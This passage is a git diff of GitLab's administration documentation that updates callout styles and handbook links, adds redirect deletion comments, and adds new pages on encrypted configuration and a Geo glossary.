document](https://www.consul.io/docs/architecture/consensus#deployment-table) for how many failures it can tolerate. This will be the number of simultaneous restarts it can sustain. diff --git a/doc/administration/container_registry.md b/doc/administration/container_registry.md index 7a533aa9043..52941556237 100644 --- a/doc/administration/container_registry.md +++ b/doc/administration/container_registry.md @@ -3,3 +3,6 @@ redirect_to: 'packages/container_registry.md' --- This document was moved to [another location](packages/container_registry.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/custom_hooks.md b/doc/administration/custom_hooks.md index 4cb8b15e4d8..0580540eef9 100644 --- a/doc/administration/custom_hooks.md +++ b/doc/administration/custom_hooks.md @@ -3,3 +3,6 @@ redirect_to: 'server_hooks.md' --- This document was moved to [another location](server_hooks.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/database_load_balancing.md b/doc/administration/database_load_balancing.md index 2b25ee4bab8..45243afd8ac 100644 --- a/doc/administration/database_load_balancing.md +++ b/doc/administration/database_load_balancing.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Database Load Balancing **(PREMIUM ONLY)** @@ -167,13 +167,13 @@ When the list of hosts is updated, it might take a while for the old connections to be terminated. The `disconnect_timeout` setting can be used to enforce an upper limit on the time it will take to terminate all old database connections. -Some nameservers (like [Consul](https://www.consul.io/docs/agent/dns.html#udp-based-dns-queries)) can return a truncated list of hosts when +Some nameservers (like [Consul](https://www.consul.io/docs/discovery/dns#udp-based-dns-queries)) can return a truncated list of hosts when queried over UDP. To overcome this issue, you can use TCP for querying by setting `use_tcp` to `true`. ### Forking -NOTE: **Note:** +NOTE: Starting with GitLab 13.0, Puma is the default web server used in GitLab all-in-one package based installations as well as GitLab Helm chart deployments. diff --git a/doc/administration/dependency_proxy.md b/doc/administration/dependency_proxy.md index 4683565998a..c0e0643b5de 100644 --- a/doc/administration/dependency_proxy.md +++ b/doc/administration/dependency_proxy.md @@ -3,3 +3,6 @@ redirect_to: 'packages/dependency_proxy.md' --- This document was moved to [another location](packages/dependency_proxy.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/encrypted_configuration.md b/doc/administration/encrypted_configuration.md new file mode 100644 index 00000000000..01a1cf66bdc --- /dev/null +++ b/doc/administration/encrypted_configuration.md @@ -0,0 +1,37 @@ +--- +stage: Enablement +group: Distribution +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +type: reference +--- + +# Encrypted Configuration **(CORE ONLY)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45712) in GitLab 13.7. + +GitLab can read settings for certain features from encrypted settings files. The supported features are: + +- [LDAP `user_bn` and `password`](auth/ldap/index.md#using-encrypted-credentials) + +In order to enable the encrypted configuration settings, a new base key needs to be generated for +`encrypted_settings_key_base`. The secret can be generated in the following ways: + +**Omnibus Installation** + +Starting with 13.7 the new secret is automatically generated for you, but you will need to ensure your +`/etc/gitlab/gitlab-secrets.json` contains the same values on all nodes. + +**GitLab Cloud Native Helm Chart** + +Starting with GitLab 13.7, the new secret is automatically generated if you have the `shared-secrets` chart enabled. Otherwise, you need +to follow the [secrets guide for adding the secret](https://docs.gitlab.com/charts/installation/secrets.html#gitlab-rails-secret). + +**Source Installation** + +The new secret can be generated by running: + +```shell +bundle exec rake gitlab:env:info RAILS_ENV=production GITLAB_GENERATE_ENCRYPTED_SETTINGS_KEY_BASE=true +``` + +This will print general info on the GitLab instance, but will also cause the key to be generated in `<path-to-gitlab-rails>/config/secrets.yml` diff --git a/doc/administration/environment_variables.md b/doc/administration/environment_variables.md index 25bfc3c132d..f886e19b13d 100644 --- a/doc/administration/environment_variables.md +++ b/doc/administration/environment_variables.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/administration/external_pipeline_validation.md b/doc/administration/external_pipeline_validation.md index cb1d35f24d5..64426a60ab0 100644 --- a/doc/administration/external_pipeline_validation.md +++ b/doc/administration/external_pipeline_validation.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -9,14 +9,14 @@ type: reference, howto You can use an external service for validating a pipeline before it's created. -CAUTION: **Warning:** +WARNING: This is an experimental feature and subject to change without notice. ## Usage -GitLab will send a POST request to the external service URL with the pipeline -data as payload. GitLab will then invalidate the pipeline based on the response -code. If there's an error or the request times out, the pipeline will not be +GitLab sends a POST request to the external service URL with the pipeline +data as payload. GitLab then invalidates the pipeline based on the response +code. If there's an error or the request times out, the pipeline is not invalidated. Response Code Legend: diff --git a/doc/administration/feature_flags.md b/doc/administration/feature_flags.md index 2a5260a1342..272009c1f3a 100644 --- a/doc/administration/feature_flags.md +++ b/doc/administration/feature_flags.md @@ -13,12 +13,12 @@ to deploy features in an early stage of development so that they can be incrementally rolled out. Before making them permanently available, features can be deployed behind -flags for a [number of reasons](../development/feature_flags/process.md#when-to-use-feature-flags), such as: +flags for a [number of reasons](../development/feature_flags/index.md#when-to-use-feature-flags), such as: - To test the feature. - To get feedback from users and customers while in an early stage of the development of the feature. - To evaluate users adoption. -- To evaluate how it impacts GitLab's performance. +- To evaluate how it impacts the performance of GitLab. - To build it in smaller pieces throughout releases. Features behind flags can be gradually rolled out, typically: @@ -36,7 +36,7 @@ error, it's very important that you [**provide feedback**](https://gitlab.com/gi as possible so we can improve or fix it while behind a flag. When you upgrade GitLab to an earlier version, the feature flag status may change. -CAUTION: **Caution:** +WARNING: Features deployed behind feature flags may not be ready for production use. However, disabling features behind flags that were deployed enabled by default may also present a risk. If they're enabled, we recommend diff --git a/doc/administration/file_hooks.md b/doc/administration/file_hooks.md index a6610188381..5de2e4aec3f 100644 --- a/doc/administration/file_hooks.md +++ b/doc/administration/file_hooks.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -11,14 +11,14 @@ type: reference > - Until GitLab 12.8, the feature name was Plugins. With custom file hooks, GitLab administrators can introduce custom integrations -without modifying GitLab's source code. +without modifying the GitLab source code. -NOTE: **Note:** +NOTE: Instead of writing and supporting your own file hook you can make changes directly to the GitLab source code and contribute back upstream. This way we can ensure functionality is preserved across versions and covered by tests. -NOTE: **Note:** +NOTE: File hooks must be configured on the filesystem of the GitLab server. Only GitLab server administrators will be able to complete these tasks. Explore [system hooks](../system_hooks/system_hooks.md) or [webhooks](../user/project/integrations/webhooks.md) as an option if you do not have filesystem access. diff --git a/doc/administration/geo/disaster_recovery/background_verification.md b/doc/administration/geo/disaster_recovery/background_verification.md index 89a93e45b1d..f2854d0538b 100644 --- a/doc/administration/geo/disaster_recovery/background_verification.md +++ b/doc/administration/geo/disaster_recovery/background_verification.md @@ -1,13 +1,13 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- # Automatic background verification **(PREMIUM ONLY)** -NOTE: **Note:** +NOTE: Automatic background verification of repositories and wikis was added in GitLab EE 10.6 but is enabled by default only on GitLab EE 11.1. You can disable or enable this feature manually by following diff --git a/doc/administration/geo/disaster_recovery/bring_primary_back.md b/doc/administration/geo/disaster_recovery/bring_primary_back.md index b73d3ba52a2..3f86e03bd7f 100644 --- a/doc/administration/geo/disaster_recovery/bring_primary_back.md +++ b/doc/administration/geo/disaster_recovery/bring_primary_back.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -13,7 +13,7 @@ restore your original configuration. This process consists of two steps: 1. Making the old **primary** node a **secondary** node. 1. Promoting a **secondary** node to a **primary** node. -CAUTION: **Caution:** +WARNING: If you have any doubts about the consistency of the data on this node, we recommend setting it up from scratch. ## Configure the former **primary** node to be a **secondary** node @@ -32,14 +32,14 @@ To bring the former **primary** node up to date: sudo gitlab-ctl start ``` - NOTE: **Note:** + NOTE: If you [disabled the **primary** node permanently](index.md#step-2-permanently-disable-the-primary-node), you need to undo those steps now. For Debian/Ubuntu you just need to run `sudo systemctl enable gitlab-runsvdir`. For CentOS 6, you need to install the GitLab instance from scratch and set it up as a **secondary** node by following [Setup instructions](../setup/index.md). In this case, you don't need to follow the next step. - NOTE: **Note:** + NOTE: If you [changed the DNS records](index.md#step-4-optional-updating-the-primary-domain-dns-record) for this node during disaster recovery procedure you may need to [block all the writes to this node](planned_failover.md#prevent-updates-to-the-primary-node) diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md index 1e9b430834c..be84b260127 100644 --- a/doc/administration/geo/disaster_recovery/index.md +++ b/doc/administration/geo/disaster_recovery/index.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -13,7 +13,7 @@ failover with minimal effort, in a disaster situation. See [Geo limitations](../index.md#limitations) for more information. -CAUTION: **Warning:** +WARNING: Disaster recovery for multi-secondary configurations is in **Alpha**. For the latest updates, check the [Disaster Recovery epic for complete maturity](https://gitlab.com/groups/gitlab-org/-/epics/590). Multi-secondary configurations require the complete re-synchronization and re-configuration of all non-promoted secondaries and @@ -36,7 +36,7 @@ order to avoid unnecessary data loss. ### Step 2. Permanently disable the **primary** node -CAUTION: **Warning:** +WARNING: If the **primary** node goes offline, there may be data saved on the **primary** node that has not been replicated to the **secondary** node. This data should be treated as lost if you proceed. @@ -58,7 +58,7 @@ must disable the **primary** node. sudo systemctl disable gitlab-runsvdir ``` - NOTE: **Note:** + NOTE: (**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)). It may be safest to uninstall the GitLab package completely: @@ -67,7 +67,7 @@ must disable the **primary** node. yum remove gitlab-ee ``` - NOTE: **Note:** + NOTE: (**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu or any other distribution based on the Upstart init system, you can prevent GitLab from starting if the machine reboots by doing the following: @@ -133,13 +133,14 @@ Note the following when promoting a secondary: ``` 1. Promote the **secondary** node to the **primary** node. - DANGER: **Warning:** + + WARNING: In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the secondary is paused fails. Do not pause replication before promoting a secondary. If the node is paused, be sure to resume before promoting. This issue has been fixed in GitLab 13.4 and later. - CAUTION: **Caution:** + WARNING: If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs a point-in-time recovery to the last known state. Data that was created on the primary while the secondary was paused will be lost. @@ -173,13 +174,13 @@ conjunction with multiple servers, as it can only perform changes on a **secondary** with only a single machine. Instead, you must do this manually. -DANGER: **Warning:** +WARNING: In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the secondary is paused fails. Do not pause replication before promoting a secondary. If the node is paused, be sure to resume before promoting. This issue has been fixed in GitLab 13.4 and later. -CAUTION: **Caution:** +WARNING: If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs a point-in-time recovery to the last known state. Data that was created on the primary while the secondary was paused will be lost. @@ -300,7 +301,7 @@ secondary domain, like changing Git remotes and API URLs. external_url 'https://<new_external_url>' ``` - NOTE: **Note:** + NOTE: Changing `external_url` won't prevent access via the old secondary URL, as long as the secondary DNS records are still intact. diff --git a/doc/administration/geo/disaster_recovery/planned_failover.md b/doc/administration/geo/disaster_recovery/planned_failover.md index 1238c4d8e2a..1468c5cd39d 100644 --- a/doc/administration/geo/disaster_recovery/planned_failover.md +++ b/doc/administration/geo/disaster_recovery/planned_failover.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/administration/geo/disaster_recovery/promotion_runbook.md b/doc/administration/geo/disaster_recovery/promotion_runbook.md index 7eb6ef01aee..eef1e7ae9dd 100644 --- a/doc/administration/geo/disaster_recovery/promotion_runbook.md +++ b/doc/administration/geo/disaster_recovery/promotion_runbook.md @@ -3,3 +3,6 @@ redirect_to: runbooks/planned_failover_single_node.md --- This document was moved to [another location](runbooks/planned_failover_single_node.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md index 3864445bbf4..f17990ce5f8 100644 --- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md +++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md @@ -1,11 +1,11 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- -CAUTION: **Caution:** +WARNING: This runbook is in **alpha**. For complete, production-ready documentation, see the [disaster recovery documentation](../index.md). @@ -58,7 +58,7 @@ What is not covered: ### Preparation -NOTE: **Note:** +NOTE: Before following any of those steps, make sure you have `root` access to the **secondary** to promote it, since there isn't provided an automated way to promote a Geo replica and perform a failover. @@ -134,7 +134,7 @@ follow these steps to avoid unnecessary data loss: 1. Finish replicating and verifying all data: - CAUTION: **Caution:** + WARNING: Not all data is automatically replicated. Read more about [what is excluded](../planned_failover.md#not-all-data-is-automatically-replicated). @@ -163,12 +163,12 @@ follow these steps to avoid unnecessary data loss: 1. In this final step, you need to permanently disable the **primary** node. - CAUTION: **Caution:** + WARNING: When the **primary** node goes offline, there may be data saved on the **primary** node that has not been replicated to the **secondary** node. This data should be treated as lost if you proceed. - TIP: **Tip:** + NOTE: If you plan to [update the **primary** domain DNS record](../index.md#step-4-optional-updating-the-primary-domain-dns-record), you may wish to lower the TTL now to speed up propagation. @@ -188,12 +188,12 @@ follow these steps to avoid unnecessary data loss: sudo systemctl disable gitlab-runsvdir ``` - NOTE: **Note:** + NOTE: (**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)). It may be safest to uninstall the GitLab package completely with `sudo yum remove gitlab-ee`. - NOTE: **Note:** + NOTE: (**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu or any other distribution based on the Upstart init system, you can prevent GitLab from starting if the machine reboots as `root` with @@ -213,12 +213,12 @@ follow these steps to avoid unnecessary data loss: ### Promoting the **secondary** node -NOTE: **Note:** +NOTE: A new **secondary** should not be added at this time. If you want to add a new **secondary**, do this after you have completed the entire process of promoting the **secondary** to the **primary**. -CAUTION: **Caution:** +WARNING: If you encounter an `ActiveRecord::RecordInvalid: Validation failed: Name has already been taken` error during this process, read [the troubleshooting advice](../../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node). @@ -227,13 +227,13 @@ conjunction with multiple servers, as it can only perform changes on a **secondary** with only a single machine. Instead, you must do this manually. -DANGER: **Warning:** +WARNING: In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the secondary is paused fails. Do not pause replication before promoting a secondary. If the node is paused, be sure to resume before promoting. This issue has been fixed in GitLab 13.4 and later. -CAUTION: **Caution:** +WARNING: If the secondary node [has been paused](../../../geo/index.md#pausing-and-resuming-replication), this performs a point-in-time recovery to the last known state. Data that was created on the primary while the secondary was paused will be lost. diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md index 5e847030077..a2a9350e411 100644 --- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md +++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md @@ -1,11 +1,11 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- -CAUTION: **Caution:** +WARNING: This runbook is in **alpha**. For complete, production-ready documentation, see the [disaster recovery documentation](../index.md). @@ -46,7 +46,7 @@ What is not covered: ### Preparation -NOTE: **Note:** +NOTE: Before following any of those steps, make sure you have `root` access to the **secondary** to promote it, since there isn't provided an automated way to promote a Geo replica and perform a failover. @@ -122,7 +122,7 @@ follow these steps to avoid unnecessary data loss: 1. Finish replicating and verifying all data: - CAUTION: **Caution:** + WARNING: Not all data is automatically replicated. Read more about [what is excluded](../planned_failover.md#not-all-data-is-automatically-replicated). @@ -151,12 +151,12 @@ follow these steps to avoid unnecessary data loss: 1. In this final step, you need to permanently disable the **primary** node. - CAUTION: **Caution:** + WARNING: When the **primary** node goes offline, there may be data saved on the **primary** node that has not been replicated to the **secondary** node. This data should be treated as lost if you proceed. - TIP: **Tip:** + NOTE: If you plan to [update the **primary** domain DNS record](../index.md#step-4-optional-updating-the-primary-domain-dns-record), you may wish to lower the TTL now to speed up propagation. @@ -176,12 +176,12 @@ follow these steps to avoid unnecessary data loss: sudo systemctl disable gitlab-runsvdir ``` - NOTE: **Note:** + NOTE: (**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)). It may be safest to uninstall the GitLab package completely with `sudo yum remove gitlab-ee`. - NOTE: **Note:** + NOTE: (**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu or any other distribution based on the Upstart init system, you can prevent GitLab from starting if the machine reboots as `root` with diff --git a/doc/administration/geo/glossary.md b/doc/administration/geo/glossary.md new file mode 100644 index 00000000000..e9d57284dd2 --- /dev/null +++ b/doc/administration/geo/glossary.md @@ -0,0 +1,112 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: howto +--- + + +# Geo Glossary + +NOTE: +We are updating the Geo documentation, user interface and commands to reflect these changes. Not all pages comply with +these definitions yet. + + These are the defined terms to describe all aspects of Geo. Using a set of clearly + defined terms helps us to communicate efficiently and avoids confusion. The language + on this page aims to be [ubiquitous](https://about.gitlab.com/handbook/communication/#ubiquitous-language) + and [as simple as possible](https://about.gitlab.com/handbook/communication/#simple-language). + + We provide example diagrams and statements to demonstrate correct usage of terms. + +| Term | Definition | Scope | Discouraged synonyms | +|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------|-------------------------------------------------| +| Node | An individual server that runs GitLab either with a specific role or as a whole (e.g. a Rails application node). In a cloud context this can be a specific machine type. | GitLab | instance, server | +| Site | One or a collection of nodes running a single GitLab application. A site can be single-node or multi-node. | GitLab | deployment, installation instance | +| Single-node site | A specific configuration of GitLab that uses exactly one node. | GitLab | single-server, single-instance +| Multi-node site | A specific configuration of GitLab that uses more than one node. | GitLab | multi-server, multi-instance, high availability | +| Primary site | A GitLab site that is configured to be read and writable. There can only be a single primary site. | Geo-specific | Geo deployment, Primary node | +| Secondary site(s) | GitLab site that is configured to be read-only. There can be one or more secondary sites. | Geo-specific | Geo deployment, Secondary node | +| Geo deployment | A collection of two or more GitLab sites with exactly one primary site being replicated by one or more secondary sites. | Geo-specific | | +| Reference architecture(s) | A [specified configuration of GitLab for a number of users](../reference_architectures/index.md), possibly including multiple nodes and multiple sites. | GitLab | | +| Promoting | Changing the role of a site from secondary to primary. | Geo-specific | | +| Demoting | Changing the role of a site from primary to secondary. | Geo-specific | | +| Failover | The entire process that shifts users from a primary Site to a secondary site. This includes promoting a secondary, but contains other parts as well e.g. scheduling maintenance. | Geo-specific | | + +## Examples + +### Single-node site + +```mermaid + graph TD + subgraph S-Site[Single-node site] + Node_3[GitLab node] + end +``` + +### Multi-node site + +```mermaid + graph TD + subgraph MN-Site[Multi-node site] + Node_1[Application node] + Node_2[Database node] + Node_3[Gitaly node] + end +``` + +### Geo deployment - Single-node sites + +This Geo deployment has a single-node primary site, a single-node secondary site: + +```mermaid + graph TD + subgraph Geo deployment + subgraph Primary[Primary site, single-node] + Node_1[GitLab node] + end + subgraph Secondary1[Secondary site 1, single-node] + Node_2[GitLab node] + end + end +``` + +### Geo deployment - Multi-node sites + +This Geo deployment has a multi-node primary site, a multi-node secondary site: + +```mermaid + graph TD + subgraph Geo deployment + subgraph Primary[Primary site, multi-node] + Node_1[Application node] + Node_2[Database node] + end + subgraph Secondary1[Secondary site 1, multi-node] + Node_5[Application node] + Node_6[Database node] + end + end +``` + +### Geo deployment - Mixed sites + +This Geo deployment has a multi-node primary site, a multi-node secondary site and another single-node secondary site: + +```mermaid + graph TD + subgraph Geo deployment + subgraph Primary[Primary site, multi-node] + Node_1[Application node] + Node_2[Database node] + Node_3[Gitaly node] + end + subgraph Secondary1[Secondary site 1, multi-node] + Node_5[Application node] + Node_6[Database node] + end + subgraph Secondary2[Secondary site 2, single-node] + Node_7[Single GitLab node] + end + end +``` diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md index 02b907ae237..334f05ef3ce 100644 --- a/doc/administration/geo/index.md +++ b/doc/administration/geo/index.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -17,7 +17,7 @@ Geo is the solution for widely distributed development teams and for providing a ## Overview -CAUTION: **Caution:** +WARNING: Geo undergoes significant changes from release to release. Upgrades **are** supported and [documented](#updating-geo), but you should ensure that you're using the right version of the documentation for your installation. Fetching large repositories can take a long time for teams located far from a single GitLab instance. @@ -51,6 +51,11 @@ Geo provides: - Authentication system hooks: **Secondary** nodes receives all authentication data (like user accounts and logins) from the **primary** instance. - An intuitive UI: **Secondary** nodes use the same web interface your team has grown accustomed to. In addition, there are visual notifications that block write operations and make it clear that a user is on a **secondary** node. +### Gitaly Cluster + +Geo should not be confused with [Gitaly Cluster](../gitaly/praefect.md). For more information about +the difference between Geo and Gitaly Cluster, see [Gitaly Cluster compared to Geo](../gitaly/praefect.md#gitaly-cluster-compared-to-geo). + ## How it works Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This will make working with large repositories over large distances much faster. @@ -119,7 +124,7 @@ The following are required to run Geo: - Git-lfs 2.4.2+ on the user side when using LFS - All nodes must run the same GitLab version. -Additionally, check GitLab's [minimum requirements](../../install/requirements.md), +Additionally, check the GitLab [minimum requirements](../../install/requirements.md), and we recommend you use: - At least GitLab Enterprise Edition 10.0 for basic Geo features. @@ -138,11 +143,11 @@ The following table lists basic ports that must be open between the **primary** See the full list of ports used by GitLab in [Package defaults](https://docs.gitlab.com/omnibus/package-information/defaults.html) -NOTE: **Note:** +NOTE: [Web terminal](../../ci/environments/index.md#web-terminals) support requires your load balancer to correctly handle WebSocket connections. When using HTTP or HTTPS proxying, your load balancer must be configured to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](../integration/terminal.md) integration guide for more details. -NOTE: **Note:** +NOTE: When using HTTPS protocol for port 443, you will need to add an SSL certificate to the load balancers. If you wish to terminate SSL at the GitLab application server instead, use TCP protocol. @@ -150,7 +155,7 @@ If you wish to terminate SSL at the GitLab application server instead, use TCP p We recommend that if you use LDAP on your **primary** node, you also set up secondary LDAP servers on each **secondary** node. Otherwise, users will not be able to perform Git operations over HTTP(s) on the **secondary** node using HTTP Basic Authentication. However, Git via SSH and personal access tokens will still work. -NOTE: **Note:** +NOTE: It is possible for all **secondary** nodes to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server will be available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** node is promoted to be a **primary** node. Check for instructions on how to set up replication in your LDAP service. Instructions will be different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html). @@ -196,19 +201,21 @@ For information on how to update your Geo nodes to the latest GitLab version, se > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35913) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. -DANGER: **Warning:** +WARNING: In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the secondary is paused fails. Do not pause replication before promoting a secondary. If the node is paused, be sure to resume before promoting. This issue has been fixed in GitLab 13.4 and later. -CAUTION: **Caution:** +WARNING: Pausing and resuming of replication is currently only supported for Geo installations using an Omnibus GitLab-managed database. External databases are currently not supported. In some circumstances, like during [upgrades](replication/updating_the_geo_nodes.md) or a [planned failover](disaster_recovery/planned_failover.md), it is desirable to pause replication between the primary and secondary. -Pausing and resuming replication is done via a command line tool from the secondary node. +Pausing and resuming replication is done via a command line tool from the secondary node where the `postgresql` service is enabled. + +If `postgresql` is on a standalone database node, ensure that `gitlab.rb` on that node contains the configuration line `gitlab_rails['geo_node_name'] = 'node_name'`, where `node_name` is the same as the `geo_name_name` on the application node. **To Pause: (from secondary)** @@ -250,6 +257,16 @@ For more information on tuning Geo, see [Tuning Geo](replication/tuning.md). For an example of how to set up a location-aware Git remote URL with AWS Route53, see [Location-aware Git remote URL with AWS Route53](replication/location_aware_git_url.md). +### Backfill + +Once a **secondary** node is set up, it will start replicating missing data from +the **primary** node in a process known as **backfill**. You can monitor the +synchronization process on each Geo node from the **primary** node's **Geo Nodes** +dashboard in your browser. + +Failures that happen during a backfill are scheduled to be retried at the end +of the backfill. + ## Remove Geo node For more information on removing a Geo node, see [Removing **secondary** Geo nodes](replication/remove_geo_node.md). @@ -260,7 +277,7 @@ To find out how to disable Geo, see [Disabling Geo](replication/disable_geo.md). ## Limitations -CAUTION: **Caution:** +WARNING: This list of limitations only reflects the latest version of GitLab. If you are using an older version, extra limitations may be in place. - Pushing directly to a **secondary** node redirects (for HTTP) or proxies (for SSH) the request to the **primary** node instead of [handling it directly](https://gitlab.com/gitlab-org/gitlab/-/issues/1381), except when using Git over HTTP with credentials embedded within the URI. For example, `https://user:password@secondary.tld`. @@ -270,7 +287,6 @@ This list of limitations only reflects the latest version of GitLab. If you are - Real-time updates of issues/merge requests (for example, via long polling) doesn't work on the **secondary** node. - [Selective synchronization](replication/configuration.md#selective-synchronization) applies only to files and repositories. Other datasets are replicated to the **secondary** node in full, making it inappropriate for use as an access control mechanism. - Object pools for forked project deduplication work only on the **primary** node, and are duplicated on the **secondary** node. -- [External merge request diffs](../merge_request_diffs.md) will not be replicated if they are on-disk, and viewing merge requests will fail. However, external MR diffs in object storage **are** supported. The default configuration (in-database) does work. - GitLab Runners cannot register with a **secondary** node. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294). - Geo **secondary** nodes can not be configured to [use high-availability configurations of PostgreSQL](https://gitlab.com/groups/gitlab-org/-/epics/2536). diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md index 43a422c4bc3..42501e16f5f 100644 --- a/doc/administration/geo/replication/configuration.md +++ b/doc/administration/geo/replication/configuration.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -9,7 +9,7 @@ type: howto ## Configuring a new **secondary** node -NOTE: **Note:** +NOTE: This is the final step in setting up a **secondary** Geo node. Stages of the setup process must be 